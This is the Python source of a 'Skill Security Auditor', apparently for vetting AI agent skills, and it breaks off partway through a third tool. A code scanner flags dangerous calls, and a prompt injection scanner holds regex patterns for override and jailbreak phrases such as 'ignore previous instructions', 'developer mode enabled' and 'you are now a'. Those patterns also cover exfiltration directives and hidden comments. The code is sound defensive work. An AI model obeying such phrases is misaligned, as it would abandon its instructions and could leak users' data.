Skill Security Auditor

#!/usr/bin/env python3
"""
Code Scanner - Static security analysis for Python scripts.

Scans Python files for dangerous patterns including subprocess calls,
eval/exec usage, file operations outside skill boundaries, network calls,
unsafe imports, obfuscation, and credential harvesting.

Produces PASS/WARN/FAIL verdicts with severity-categorized findings.
"""

import argparse
import json
import os
import re
import sys
from dataclasses import dataclass, field, asdict
from pathlib import Path
from typing import List, Dict, Optional


@dataclass
class Finding:
    severity: str          # CRITICAL, HIGH, INFO
    category: str          # CODE-EXEC, NET-EXFIL, FS-BOUNDARY, etc.
    file: str
    line: int
    pattern: str
    risk: str
    fix: str


@dataclass
class ScanReport:
    target: str
    files_scanned: int
    total_findings: int
    critical_count: int
    high_count: int
    info_count: int
    verdict: str
    strict_mode: bool
    findings: List[Dict] = field(default_factory=list)


# ---------------------------------------------------------------------------
# Pattern definitions
# ---------------------------------------------------------------------------

CRITICAL_PATTERNS: Dict[str, List[Dict[str, str]]] = {
    "CODE-EXEC": [
        {
            "regex": r"\beval\s*\(",
            "risk": "Arbitrary code execution via eval()",
            "fix": "Replace eval() with ast.literal_eval() or explicit parsing",
        },
        {
            "regex": r"\bexec\s*\(",
            "risk": "Arbitrary code execution via exec()",
            "fix": "Remove exec() and use explicit function calls instead",
        },
        {
            "regex": r"\bcompile\s*\(",
            "risk": "Dynamic code compilation may execute untrusted input",
            "fix": "Remove compile() or ensure input is fully trusted and validated",
        },
        {
            "regex": r"__import__\s*\(",
            "risk": "Dynamic import can load arbitrary modules at runtime",
            "fix": "Use static imports at the top of the file",
        },
        {
            "regex": r"importlib\.import_module\s*\(",
            "risk": "Dynamic import can load arbitrary modules at runtime",
            "fix": "Use static imports at the top of the file",
        },
    ],
    "CMD-INJECT": [
        {
            "regex": r"os\.system\s*\(",
            "risk": "Shell command injection via os.system()",
            "fix": "Use subprocess.run() with a list of arguments and shell=False",
        },
        {
            "regex": r"os\.popen\s*\(",
            "risk": "Shell command injection via os.popen()",
            "fix": "Use subprocess.run() with a list of arguments and shell=False",
        },
        {
            "regex": r"subprocess\.\w+\(.*shell\s*=\s*True",
            "risk": "Shell=True enables command injection via string interpolation",
            "fix": "Remove shell=True and pass command as a list of arguments",
        },
    ],
    "NET-EXFIL": [
        {
            "regex": r"requests\.(post|put)\s*\(",
            "risk": "Outbound HTTP request may exfiltrate local data",
            "fix": "Remove outbound network calls or document the destination explicitly",
        },
        {
            "regex": r"urllib\.request\.urlopen\s*\(",
            "risk": "Outbound HTTP request may exfiltrate data",
            "fix": "Remove outbound network calls or document the destination explicitly",
        },
        {
            "regex": r"httpx\.(post|put)\s*\(",
            "risk": "Outbound HTTP request via httpx may exfiltrate data",
            "fix": "Remove outbound network calls or document the destination explicitly",
        },
        {
            "regex": r"socket\.connect\s*\(",
            "risk": "Raw socket connection may exfiltrate data to external server",
            "fix": "Remove socket connections or document the destination explicitly",
        },
        {
            "regex": r"aiohttp\.ClientSession\s*\(",
            "risk": "Async HTTP session may exfiltrate data",
            "fix": "Remove async HTTP clients or document the destination explicitly",
        },
    ],
    "CRED-HARVEST": [
        {
            "regex": r"['\"]~/\.ssh",
            "risk": "Reads SSH keys from user home directory",
            "fix": "Remove filesystem access to ~/.ssh entirely",
        },
        {
            "regex": r"['\"]~/\.aws",
            "risk": "Reads AWS credentials from user home directory",
            "fix": "Remove filesystem access to ~/.aws entirely",
        },
        {
            "regex": r"['\"]~/\.gnupg",
            "risk": "Reads GPG keys from user home directory",
            "fix": "Remove filesystem access to ~/.gnupg entirely",
        },
        {
            "regex": r"open\s*\(.*\.(pem|key|p12)",
            "risk": "Opens a private key or certificate file",
            "fix": "Remove access to private key files",
        },
    ],
}

HIGH_PATTERNS: Dict[str, List[Dict[str, str]]] = {
    "OBFUSCATION": [
        {
            "regex": r"base64\.b64decode\s*\(",
            "risk": "Base64 decoding may hide malicious payloads",
            "fix": "Verify the decoded content is safe or remove the decode call",
        },
        {
            "regex": r"codecs\.decode\s*\(",
            "risk": "Codecs decode may obscure malicious strings",
            "fix": "Use explicit string literals instead of encoded content",
        },
        {
            "regex": r"bytes\.fromhex\s*\(",
            "risk": "Hex decoding may hide malicious payloads",
            "fix": "Use explicit string literals instead of hex-encoded content",
        },
        {
            "regex": r"chr\s*\(\s*\d+\s*\)\s*\+\s*chr\s*\(",
            "risk": "Character-by-character string construction hides intent",
            "fix": "Use plain string literals instead of chr() chains",
        },
    ],
    "UNSAFE-DESER": [
        {
            "regex": r"pickle\.loads?\s*\(",
            "risk": "Pickle deserialization can execute arbitrary code",
            "fix": "Use json.loads() or a safe serialization format instead",
        },
        {
            "regex": r"yaml\.load\s*\([^)]*\)",
            "risk": "yaml.load() without SafeLoader executes arbitrary Python",
            "fix": "Use yaml.safe_load() or pass Loader=yaml.SafeLoader",
        },
        {
            "regex": r"marshal\.loads?\s*\(",
            "risk": "Marshal deserialization can execute arbitrary code",
            "fix": "Use json.loads() or a safe serialization format instead",
        },
    ],
    "FS-BOUNDARY": [
        {
            "regex": r"open\s*\(.*(/etc/|/usr/|/var/|/tmp/)",
            "risk": "File access outside the skill directory boundary",
            "fix": "Restrict file access to the skill's own directory",
        },
        {
            "regex": r"open\s*\(.*~/\.(bashrc|profile|zshrc)",
            "risk": "Modifies user shell configuration files",
            "fix": "Remove access to shell config files",
        },
        {
            "regex": r"os\.symlink\s*\(",
            "risk": "Symbolic links can redirect operations to sensitive locations",
            "fix": "Remove symlink creation or validate destination paths",
        },
        {
            "regex": r"shutil\.(rmtree|move)\s*\(",
            "risk": "Destructive file operation may affect files outside skill scope",
            "fix": "Validate paths are within the skill directory before operations",
        },
    ],
    "PRIV-ESC": [
        {
            "regex": r"\bsudo\b",
            "risk": "Privilege escalation via sudo",
            "fix": "Remove sudo usage; skills should not require elevated privileges",
        },
        {
            "regex": r"chmod\s+777",
            "risk": "World-writable permissions create security vulnerabilities",
            "fix": "Use restrictive permissions (e.g., 0o644 for files, 0o755 for dirs)",
        },
        {
            "regex": r"\bcrontab\b",
            "risk": "Cron manipulation can install persistent backdoors",
            "fix": "Remove crontab access; skills should not modify system schedules",
        },
    ],
}

INFO_PATTERNS: Dict[str, List[Dict[str, str]]] = {
    "SUBPROCESS": [
        {
            "regex": r"subprocess\.(run|call|check_output|check_call|Popen)\s*\(",
            "risk": "Subprocess call detected (verify shell=False and list args)",
            "fix": "Ensure command is passed as a list and shell=True is not used",
        },
    ],
    "ENV-ACCESS": [
        {
            "regex": r"os\.environ\s*[\[\.]",
            "risk": "Reads environment variables which may contain secrets",
            "fix": "Document which env vars are read and why they are needed",
        },
    ],
    "FILE-OPS": [
        {
            "regex": r"os\.path\.expanduser\s*\(",
            "risk": "Expands ~ to home directory; verify target is within skill scope",
            "fix": "Use paths relative to the skill directory instead",
        },
    ],
}


def is_inside_comment_or_string(line: str, match_start: int) -> bool:
    """Heuristic: check if match is inside a comment."""
    stripped = line[:match_start].lstrip()
    if stripped.startswith("#"):
        return True
    return False


def scan_file(filepath: str) -> List[Finding]:
    """Scan a single Python file for security patterns."""
    findings: List[Finding] = []
    try:
        with open(filepath, "r", encoding="utf-8", errors="replace") as fh:
            lines = fh.readlines()
    except OSError:
        return findings

    rel_path = filepath

    for line_num, line in enumerate(lines, start=1):
        stripped = line.strip()

        # Skip pure comment lines
        if stripped.startswith("#"):
            continue

        for category, patterns in CRITICAL_PATTERNS.items():
            for pat in patterns:
                if re.search(pat["regex"], line):
                    findings.append(Finding(
                        severity="CRITICAL",
                        category=category,
                        file=rel_path,
                        line=line_num,
                        pattern=stripped,
                        risk=pat["risk"],
                        fix=pat["fix"],
                    ))

        for category, patterns in HIGH_PATTERNS.items():
            for pat in patterns:
                if re.search(pat["regex"], line):
                    # Downgrade subprocess without shell=True to INFO
                    if category == "SUBPROCESS" and "shell" not in line:
                        continue
                    findings.append(Finding(
                        severity="HIGH",
                        category=category,
                        file=rel_path,
                        line=line_num,
                        pattern=stripped,
                        risk=pat["risk"],
                        fix=pat["fix"],
                    ))

        for category, patterns in INFO_PATTERNS.items():
            for pat in patterns:
                if re.search(pat["regex"], line):
                    findings.append(Finding(
                        severity="INFO",
                        category=category,
                        file=rel_path,
                        line=line_num,
                        pattern=stripped,
                        risk=pat["risk"],
                        fix=pat["fix"],
                    ))

    return findings


def determine_verdict(critical: int, high: int, strict: bool) -> str:
    """Determine PASS/WARN/FAIL verdict based on finding counts."""
    if critical > 0:
        return "FAIL"
    if high > 0:
        return "FAIL" if strict else "WARN"
    return "PASS"


def collect_python_files(target: str) -> List[str]:
    """Collect all .py files from the target path."""
    target_path = Path(target)
    if target_path.is_file() and target_path.suffix == ".py":
        return [str(target_path)]
    if target_path.is_dir():
        return sorted(str(p) for p in target_path.rglob("*.py"))
    return []


def format_human_readable(report: ScanReport) -> str:
    """Format the report for human-readable terminal output."""
    lines = [
        "",
        "+" + "=" * 55 + "+",
        "|  CODE SECURITY SCAN REPORT" + " " * 28 + "|",
        f"|  Target: {report.target[:44]:<44} |",
        f"|  Files scanned: {report.files_scanned:<37} |",
        f"|  Verdict: {report.verdict:<43} |",
        "+" + "=" * 55 + "+",
        f"|  CRITICAL: {report.critical_count}  |  HIGH: {report.high_count}  |  INFO: {report.info_count}",
        "+" + "=" * 55 + "+",
        "",
    ]

    if not report.findings:
        lines.append("  No security issues found.")
        lines.append("")
        return "\n".join(lines)

    for f in report.findings:
        lines.append(f"{f['severity']} [{f['category']}] {f['file']}:{f['line']}")
        lines.append(f"  Pattern: {f['pattern'][:80]}")
        lines.append(f"  Risk: {f['risk']}")
        lines.append(f"  Fix: {f['fix']}")
        lines.append("")

    return "\n".join(lines)


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Scan Python scripts for security issues. Detects eval/exec, "
                    "subprocess calls, network exfiltration, credential harvesting, "
                    "obfuscation, and unsafe imports.",
        epilog="Examples:\n"
               "  %(prog)s scripts/\n"
               "  %(prog)s helper.py --strict\n"
               "  %(prog)s . --json\n",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "target",
        help="File or directory to scan (scans .py files recursively)",
    )
    parser.add_argument(
        "--strict",
        action="store_true",
        default=False,
        help="Strict mode: any HIGH finding upgrades verdict to FAIL",
    )
    parser.add_argument(
        "--json",
        action="store_true",
        default=False,
        dest="json_output",
        help="Output results as JSON instead of human-readable text",
    )
    args = parser.parse_args()

    target = os.path.abspath(args.target)
    if not os.path.exists(target):
        print(f"Error: target '{args.target}' does not exist.", file=sys.stderr)
        sys.exit(2)

    py_files = collect_python_files(target)
    if not py_files:
        print(f"No Python files found in '{args.target}'.", file=sys.stderr)
        sys.exit(0)

    all_findings: List[Finding] = []
    for pf in py_files:
        all_findings.extend(scan_file(pf))

    critical = sum(1 for f in all_findings if f.severity == "CRITICAL")
    high = sum(1 for f in all_findings if f.severity == "HIGH")
    info = sum(1 for f in all_findings if f.severity == "INFO")
    verdict = determine_verdict(critical, high, args.strict)

    report = ScanReport(
        target=args.target,
        files_scanned=len(py_files),
        total_findings=len(all_findings),
        critical_count=critical,
        high_count=high,
        info_count=info,
        verdict=verdict,
        strict_mode=args.strict,
        findings=[asdict(f) for f in all_findings],
    )

    if args.json_output:
        print(json.dumps(asdict(report), indent=2))
    else:
        print(format_human_readable(report))

    # Exit code: 1 for FAIL, 0 for PASS/WARN
    sys.exit(1 if verdict == "FAIL" else 0)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
Prompt Injection Scanner - Detect prompt injection in markdown and text files.

Scans .md, .txt, and .yaml/.yml files for patterns that indicate prompt
injection attempts: system prompt overrides, role hijacking, safety bypasses,
data extraction instructions, hidden zero-width characters, and suspicious
HTML comments containing directives.

Respects fenced code blocks (triple backticks) and skips content inside them
to reduce false positives from documentation examples.
"""

import argparse
import json
import os
import re
import sys
from dataclasses import dataclass, field, asdict
from pathlib import Path
from typing import List, Dict, Tuple


@dataclass
class Finding:
    severity: str
    category: str
    file: str
    line: int
    matched_text: str
    risk: str
    fix: str


@dataclass
class ScanReport:
    target: str
    files_scanned: int
    total_findings: int
    critical_count: int
    high_count: int
    info_count: int
    verdict: str
    strict_mode: bool
    findings: List[Dict] = field(default_factory=list)


# ---------------------------------------------------------------------------
# Pattern definitions
# ---------------------------------------------------------------------------

CRITICAL_PATTERNS: Dict[str, List[Dict[str, str]]] = {
    "SYSTEM-OVERRIDE": [
        {
            "regex": r"ignore\s+(all\s+)?previous\s+instructions",
            "risk": "Attempts to override the AI system prompt and prior instructions",
            "fix": "Remove this phrase entirely; legitimate skills never override system prompts",
        },
        {
            "regex": r"ignore\s+(all\s+)?prior\s+instructions",
            "risk": "Attempts to override the AI system prompt and prior instructions",
            "fix": "Remove this phrase entirely; legitimate skills never override system prompts",
        },
        {
            "regex": r"disregard\s+(all\s+)?(previous|prior|above)",
            "risk": "Attempts to make the AI disregard its existing instructions",
            "fix": "Remove this directive; skills should work within existing instructions",
        },
        {
            "regex": r"new\s+system\s+prompt",
            "risk": "Attempts to inject a replacement system prompt",
            "fix": "Remove system prompt override; use standard skill documentation format",
        },
        {
            "regex": r"override\s+(the\s+)?system\s+(prompt|instructions)",
            "risk": "Explicit attempt to override system-level instructions",
            "fix": "Remove system override language; skills extend behavior, not replace it",
        },
    ],
    "ROLE-HIJACK": [
        {
            "regex": r"act\s+as\s+(root|admin|administrator|superuser)",
            "risk": "Attempts to escalate the AI to a privileged role",
            "fix": "Remove privileged role assignment; define skill scope without role escalation",
        },
        {
            "regex": r"pretend\s+you\s+(have\s+no|don'?t\s+have)\s+restrictions",
            "risk": "Attempts to remove the AI's safety restrictions",
            "fix": "Remove restriction-bypass language; work within standard safety boundaries",
        },
        {
            "regex": r"you\s+have\s+no\s+limitations",
            "risk": "Declares the AI has no limitations to bypass safety measures",
            "fix": "Remove this assertion; document realistic capabilities instead",
        },
        {
            "regex": r"unrestricted\s+mode",
            "risk": "Attempts to enable an unrestricted execution mode",
            "fix": "Remove 'unrestricted mode' language; define explicit, scoped permissions",
        },
        {
            "regex": r"developer\s+mode\s+enabled",
            "risk": "Attempts to activate a fake developer mode to bypass safety",
            "fix": "Remove 'developer mode' activation; this is a known jailbreak technique",
        },
        {
            "regex": r"\bjailbreak\b",
            "risk": "References jailbreaking, a technique to bypass AI safety measures",
            "fix": "Remove jailbreak references; legitimate skills do not mention jailbreaking",
        },
    ],
    "DATA-EXTRACT": [
        {
            "regex": r"send\s+(the\s+)?contents?\s+(of|from)\s+",
            "risk": "Instructs the AI to send file contents to an external destination",
            "fix": "Remove data exfiltration instructions; skills should process data locally",
        },
        {
            "regex": r"upload\s+(the\s+)?file\s+to\s+",
            "risk": "Instructs the AI to upload files to an external service",
            "fix": "Remove file upload instructions; skills should not exfiltrate data",
        },
        {
            "regex": r"POST\s+to\s+https?://",
            "risk": "Instructs the AI to send an HTTP POST to an external URL",
            "fix": "Remove HTTP POST instructions targeting external URLs",
        },
        {
            "regex": r"\bexfiltrate\b",
            "risk": "Explicit mention of data exfiltration",
            "fix": "Remove exfiltration language; this indicates malicious intent",
        },
        {
            "regex": r"transmit\s+(all\s+)?data\s+to\s+",
            "risk": "Instructs the AI to transmit data to an external destination",
            "fix": "Remove data transmission instructions targeting external services",
        },
    ],
}

HIGH_PATTERNS: Dict[str, List[Dict[str, str]]] = {
    "SAFETY-BYPASS": [
        {
            "regex": r"skip\s+(all\s+)?safety\s+checks?",
            "risk": "Instructs the AI to skip safety validation checks",
            "fix": "Remove safety-bypass instructions; skills must respect safety checks",
        },
        {
            "regex": r"disable\s+(the\s+)?content\s+filter",
            "risk": "Attempts to disable content filtering mechanisms",
            "fix": "Remove content filter bypass; skills work within content policies",
        },
        {
            "regex": r"bypass\s+(the\s+)?security",
            "risk": "Instructs the AI to bypass security mechanisms",
            "fix": "Remove security bypass language; document legitimate permissions needed",
        },
        {
            "regex": r"remove\s+(all\s+)?guardrails",
            "risk": "Attempts to remove AI safety guardrails",
            "fix": "Remove guardrail-bypass language; work within existing guardrails",
        },
        {
            "regex": r"no\s+restrictions?\s+appl(y|ies)",
            "risk": "Declares that no restrictions apply to bypass safety measures",
            "fix": "Remove restriction-bypass declarations; document specific permissions needed",
        },
    ],
    "EXCESSIVE-PERMS": [
        {
            "regex": r"(run|execute)\s+any\s+command",
            "risk": "Requests unrestricted command execution privileges",
            "fix": "Specify exact commands needed instead of requesting blanket execution",
        },
        {
            "regex": r"full\s+(file\s*system|filesystem)\s+access",
            "risk": "Requests unrestricted filesystem access",
            "fix": "Specify exact directories needed instead of full filesystem access",
        },
        {
            "regex": r"access\s+to\s+all\s+files",
            "risk": "Requests access to all files without scope limitation",
            "fix": "Limit file access to the skill's own directory and documented paths",
        },
        {
            "regex": r"root\s+access\s+required",
            "risk": "Claims root/admin access is required",
            "fix": "Remove root access requirement; skills should run with minimal privileges",
        },
    ],
    "HIDDEN-DIRECTIVE": [
        {
            "regex": r"<!--\s*(system|instruction|command|execute|override|ignore)",
            "risk": "HTML comment contains a hidden directive that may control AI behavior",
            "fix": "Remove hidden directives from HTML comments; all instructions should be visible",
        },
    ],
}

INFO_PATTERNS: Dict[str, List[Dict[str, str]]] = {
    "SUSPICIOUS-LANG": [
        {
            "regex": r"you\s+must\s+(always|never)\s+",
            "risk": "Strong directive language that may constrain AI behavior unexpectedly",
            "fix": "Consider using softer language (e.g., 'should' instead of 'must always')",
        },
        {
            "regex": r"do\s+not\s+(ever|under\s+any\s+circumstances)\s+",
            "risk": "Absolute prohibition that may conflict with the AI's base instructions",
            "fix": "Use scoped guidance instead of absolute prohibitions",
        },
        {
            "regex": r"from\s+now\s+on\s+(you|your)\s+",
            "risk": "Attempts to permanently alter AI behavior beyond the skill's scope",
            "fix": "Scope instructions to the skill's specific tasks, not permanent behavior changes",
        },
        {
            "regex": r"you\s+are\s+now\s+(a|an)\s+",
            "risk": "Attempts to redefine the AI's identity or role",
            "fix": "Use 'when using this skill, act as...' instead of identity reassignment",
        },
    ],
}

# Zero-width characters to detect (checked separately)
ZERO_WIDTH_CHARS: Dict[str, str] = {
    "\u200b": "zero-width space (U+200B)",
    "\u200c": "zero-width non-joiner (U+200C)",
    "\u200d": "zero-width joiner (U+200D)",
    "\ufeff": "byte order mark (U+FEFF)",
    "\u2060": "word joiner (U+2060)",
    "\u2062": "invisible times (U+2062)",
    "\u2063": "invisible separator (U+2063)",
}

SCANNABLE_EXTENSIONS = {".md", ".txt", ".yaml", ".yml", ".rst", ".adoc"}


def is_in_code_block(lines: List[str], target_line: int) -> bool:
    """Check if a line number is inside a fenced code block (``` ... ```)."""
    in_block = False
    for i in range(target_line):
        stripped = lines[i].strip()
        if stripped.startswith("```"):
            in_block = not in_block
    return in_block


def scan_file(filepath: str) -> List[Finding]:
    """Scan a single file for prompt injection patterns."""
    findings: List[Finding] = []
    try:
        with open(filepath, "r", encoding="utf-8", errors="replace") as fh:
            content = fh.read()
            lines = content.splitlines()
    except OSError:
        return findings

    # Check for zero-width characters across the entire content
    for char, description in ZERO_WIDTH_CHARS.items():
        pos = content.find(char)
        if pos != -1:
            # Find line number
            line_num = content[:pos].count("\n") + 1
            findings.append(Finding(
                severity="HIGH",
                category="HIDDEN-CHARS",
                file=filepath,
                line=line_num,
                matched_text=f"[{description}]",
                risk=f"Hidden {description} detected; may conceal injected instructions",
                fix="Remove all zero-width characters; paste content into a hex editor to verify",
            ))

    # Scan line by line for text patterns
    for line_num, line in enumerate(lines, start=1):
        # Skip lines inside fenced code blocks
        if is_in_code_block(lines, line_num - 1):
            continue

        line_lower = line.lower()

        for category, patterns in CRITICAL_PATTERNS.items():
            for pat in patterns:
                match = re.search(pat["regex"], line_lower)
                if match:
                    findings.append(Finding(
                        severity="CRITICAL",
                        category=category,
                        file=filepath,
                        line=line_num,
                        matched_text=match.group(0),
                        risk=pat["risk"],
                        fix=pat["fix"],
                    ))

        for category, patterns in HIGH_PATTERNS.items():
            for pat in patterns:
                match = re.search(pat["regex"], line_lower)
                if match:
                    findings.append(Finding(
                        severity="HIGH",
                        category=category,
                        file=filepath,
                        line=line_num,
                        matched_text=match.group(0),
                        risk=pat["risk"],
                        fix=pat["fix"],
                    ))

        for category, patterns in INFO_PATTERNS.items():
            for pat in patterns:
                match = re.search(pat["regex"], line_lower)
                if match:
                    findings.append(Finding(
                        severity="INFO",
                        category=category,
                        file=filepath,
                        line=line_num,
                        matched_text=match.group(0),
                        risk=pat["risk"],
                        fix=pat["fix"],
                    ))

    return findings


def collect_files(target: str) -> List[str]:
    """Collect scannable files from the target path."""
    target_path = Path(target)
    if target_path.is_file():
        if target_path.suffix in SCANNABLE_EXTENSIONS:
            return [str(target_path)]
        return []
    if target_path.is_dir():
        results = []
        for p in sorted(target_path.rglob("*")):
            if p.is_file() and p.suffix in SCANNABLE_EXTENSIONS:
                results.append(str(p))
        return results
    return []


def determine_verdict(critical: int, high: int, strict: bool) -> str:
    """Determine PASS/WARN/FAIL verdict."""
    if critical > 0:
        return "FAIL"
    if high > 0:
        return "FAIL" if strict else "WARN"
    return "PASS"


def format_human_readable(report: ScanReport) -> str:
    """Format the report for human-readable terminal output."""
    lines = [
        "",
        "+" + "=" * 55 + "+",
        "|  PROMPT INJECTION SCAN REPORT" + " " * 25 + "|",
        f"|  Target: {report.target[:44]:<44} |",
        f"|  Files scanned: {report.files_scanned:<37} |",
        f"|  Verdict: {report.verdict:<43} |",
        "+" + "=" * 55 + "+",
        f"|  CRITICAL: {report.critical_count}  |  HIGH: {report.high_count}  |  INFO: {report.info_count}",
        "+" + "=" * 55 + "+",
        "",
    ]

    if not report.findings:
        lines.append("  No prompt injection patterns found.")
        lines.append("")
        return "\n".join(lines)

    for f in report.findings:
        lines.append(f"{f['severity']} [{f['category']}] {f['file']}:{f['line']}")
        lines.append(f"  Matched: {f['matched_text'][:70]}")
        lines.append(f"  Risk: {f['risk']}")
        lines.append(f"  Fix: {f['fix']}")
        lines.append("")

    return "\n".join(lines)


def main() -> None:
    parser = argparse.ArgumentParser(
        description="Scan markdown and text files for prompt injection patterns. "
                    "Detects system prompt overrides, role hijacking, safety bypasses, "
                    "data extraction instructions, hidden zero-width characters, "
                    "and suspicious HTML comment directives.",
        epilog="Examples:\n"
               "  %(prog)s SKILL.md\n"
               "  %(prog)s references/\n"
               "  %(prog)s . --strict --json\n",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        "target",
        help="File or directory to scan (scans .md, .txt, .yaml, .yml files)",
    )
    parser.add_argument(
        "--strict",
        action="store_true",
        default=False,
        help="Strict mode: any HIGH finding upgrades verdict to FAIL",
    )
    parser.add_argument(
        "--json",
        action="store_true",
        default=False,
        dest="json_output",
        help="Output results as JSON instead of human-readable text",
    )
    args = parser.parse_args()

    target = os.path.abspath(args.target)
    if not os.path.exists(target):
        print(f"Error: target '{args.target}' does not exist.", file=sys.stderr)
        sys.exit(2)

    files = collect_files(target)
    if not files:
        print(f"No scannable files found in '{args.target}'.", file=sys.stderr)
        sys.exit(0)

    all_findings: List[Finding] = []
    for f in files:
        all_findings.extend(scan_file(f))

    critical = sum(1 for f in all_findings if f.severity == "CRITICAL")
    high = sum(1 for f in all_findings if f.severity == "HIGH")
    info = sum(1 for f in all_findings if f.severity == "INFO")
    verdict = determine_verdict(critical, high, args.strict)

    report = ScanReport(
        target=args.target,
        files_scanned=len(files),
        total_findings=len(all_findings),
        critical_count=critical,
        high_count=high,
        info_count=info,
        verdict=verdict,
        strict_mode=args.strict,
        findings=[asdict(f) for f in all_findings],
    )

    if args.json_output:
        print(json.dumps(asdict(report), indent=2))
    else:
        print(format_human_readable(report))

    sys.exit(1 if verdict == "FAIL" else 0)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
Supply Chain Checker - Detect typosquatting and dependency risks.

Scans Python import statements and dependency declarations (requirements.txt,
setup.py, pyproject.toml) for typosquatting risks, unpinned versions, and
inline pip install commands in scripts.

Uses Levenshtein distance against a curated list of popular PyPI packages
to flag suspicious package names.
"""

import argparse
import json
import os
import re
import sys
from dataclasses import dataclass, field, asdict
from pathlib import Path
from typing import List, Dict, Set, Tuple


# ---------------------------------------------------------------------------
# Popular PyPI packages (top ~80 by download count)
# ---------------------------------------------------------------------------

POPULAR_PACKAGES: List[str] = [
    "requests", "urllib3", "boto3", "botocore", "setuptools", "pip",
    "certifi", "charset-normalizer", "idna", "numpy", "typing-extensions",
    "packaging", "six", "python-dateutil", "pyyaml", "s3transfer",
    "cryptography", "cffi", "jmespath", "pyasn1", "attrs", "click",
    "importlib-metadata", "pycparser", "tomli", "platformdirs", "wheel",
    "filelock", "colorama", "markupsafe", "jinja2", "zipp", "pyparsing",
    "pytz", "pillow", "pandas", "aiohttp", "grpcio", "scipy",
    "protobuf", "wrapt", "flask", "django", "sqlalchemy", "psycopg2",
    "redis", "celery", "pytest", "coverage", "tox", "flake8",
    "black", "mypy", "isort", "pylint", "httpx", "fastapi", "uvicorn",
    "pydantic", "starlette", "gunicorn", "paramiko", "fabric",
    "beautifulsoup4", "lxml", "scrapy", "selenium", "playwright",
    "matplotlib", "scikit-learn", "tensorflow", "torch", "transformers",
    "openai", "langchain", "anthropic", "docker", "kubernetes",
    "google-cloud-storage", "azure-storage-blob", "aws-cdk-lib",
    "pygments", "rich", "typer", "argparse", "pathlib", "dataclasses",
]

# Known typosquatting examples (package -> what it impersonates)
KNOWN_TYPOSQUATS: Dict[str, str] = {
    "reqeusts": "requests",
    "requets": "requests",
    "reqests": "requests",
    "request": "requests",
    "requestes": "requests",
    "colourma": "colorama",
    "colourama": "colorama",
    "numppy": "numpy",
    "numpay": "numpy",
    "pandsa": "pandas",
    "pandaas": "pandas",
    "flassk": "flask",
    "flaask": "flask",
    "djano": "django",
    "djnago": "django",
    "scikitlearn": "scikit-learn",
    "beautifulsoup": "beautifulsoup4",
    "python-opencv": "opencv-python",
    "python3-dateutil": "python-dateutil",
    "pipsqlalchemy": "sqlalchemy",
    "httx": "httpx",
    "fasttapi": "fastapi",
    "pyaml": "pyyaml",
    "pycryptography": "cryptography",
}


@dataclass
class Finding:
    severity: str
    category: str
    file: str
    line: int
    package: str
    detail: str
    fix: str


@dataclass
class CheckReport:
    target: str
    files_scanned: int
    packages_checked: int
    total_findings: int
    critical_count: int
    high_count: int
    info_count: int
    verdict: str
    findings: List[Dict] = field(default_factory=list)


def levenshtein_distance(s1: str, s2: str) -> int:
    """Compute the Levenshtein edit distance between two strings."""
    if len(s1) < len(s2):
        return levenshtein_distance(s2, s1)
    if len(s2) == 0:
        return len(s1)

    prev_row = list(range(len(s2) + 1))
    for i, c1 in enumerate(s1):
        curr_row = [i + 1]
        for j, c2 in enumerate(s2):
            insertions = prev_row[j + 1] + 1
            deletions = curr_row[j] + 1
            substitutions = prev_row[j] + (c1 != c2)
            curr_row.append(min(insertions, deletions, substitutions))
        prev_row = curr_row

    return prev_row[-1]


def normalize_package_name(name: str) -> str:
    """Normalize package name for comparison (PEP 503)."""
    return re.sub(r"[-_.]+", "-", name).lower()


def check_typosquatting(package: str) -> Tuple[bool, str]:
    """Check if a package name is a potential typosquat."""
    normalized = normalize_package_name(package)

    # Check known typosquats first
    if normalized in KNOWN_TYPOSQUATS:
        return True, KNOWN_TYPOSQUATS[normalized]

    # Check Levenshtein distance against popular packages
    for popular in POPULAR_PACKAGES:
        pop_normalized = normalize_package_name(popular)
        if normalized == pop_normalized:
            return False, ""
        dist = levenshtein_distance(normalized, pop_normalized)
        # Flag if edit distance is 1-2 for packages with 4+ chars
        if len(normalized) >= 4 and 1 <= dist <= 2:
            return True, popular

    return False, ""


def extract_imports_from_python(filepath: str) -> List[Tuple[int, str]]:
    """Extract imported package names from a Python file."""
    results: List[Tuple[int, str]] = []
    try:
        with open(filepath, "r", encoding="utf-8", errors="replace") as fh:
            for line_num, line in enumerate(fh, start=1):
                stripped = line.strip()
                if stripped.startswith("#"):
                    continue

                # import package / import package.submodule
                m = re.match(r"^import\s+([\w.]+)", stripped)
                if m:
                    top_level = m.group(1).split(".")[0]
                    results.append((line_num, top_level))

                # from package import ...
                m = re.match(r"^from\s+([\w.]+)\s+import", stripped)
                if m:
                    top_level = m.group(1).split(".")[0]
                    results.append((line_num, top_level))
    except OSError:
        pass
    return results


def extract_deps_from_requirements(filepath: str) -> List[Tuple[int, str, bool]]:
    """Extract packages from requirements.txt. Returns (line, name, is_pinned)."""
    results: List[Tuple[int, str, bool]] = []
    try:
        with open(filepath, "r", encoding="utf-8", errors="replace") as fh:
            for line_num, line in enumerate(fh, start=1):
                stripped = line.strip()
                if not stripped or stripped.startswith("#") or stripped.startswith("-"):
                    continue
                # Parse: package==1.0, package>=1.0, package~=1.0, package
                m = re.match(r"^([A-Za-z0-9_.-]+)\s*(==|>=|<=|~=|!=|>|<|;|\[|$)", stripped)
                if m:
                    pkg_name = m.group(1)
                    operator = m.group(2)
                    is_pinned = operator == "=="
                    results.append((line_num, pkg_name, is_pinned))
    except OSError:
        pass
    return results


def scan_for_pip_install(filepath: str) -> List[Tuple[int, str]]:
    """Scan a file for inline pip/pip3 install commands."""
    results: List[Tuple[int, str]] = []
    try:
        with open(filepath, "r", encoding="utf-8", errors="replace") as fh:
            for line_num, line in enumerate(fh, start=1):
                if re.search(r"(pip3?|python3?\s+-m\s+pip)\s+install\b", line):
                    results.append((line_num, line.strip()))
    except OSError:
        pass
    return results


def collect_files(target: str) -> Tuple[List[str], List[str], List[str]]:
    """Collect Python files, requirements files, and all script files."""
    target_path = Path(target)
    py_files: List[str] = []
    req_files: List[str] = []
    script_files: List[str] = []

    if target_path.is_file():
        s = str(target_path)
        if s.endswith(".py"):
            py_files.append(s)
            script_files.append(s)
        elif target_path.name in ("requirements.txt", "requirements-dev.txt"):
            req_files.append(s)
        return py_files, req_files, script_files

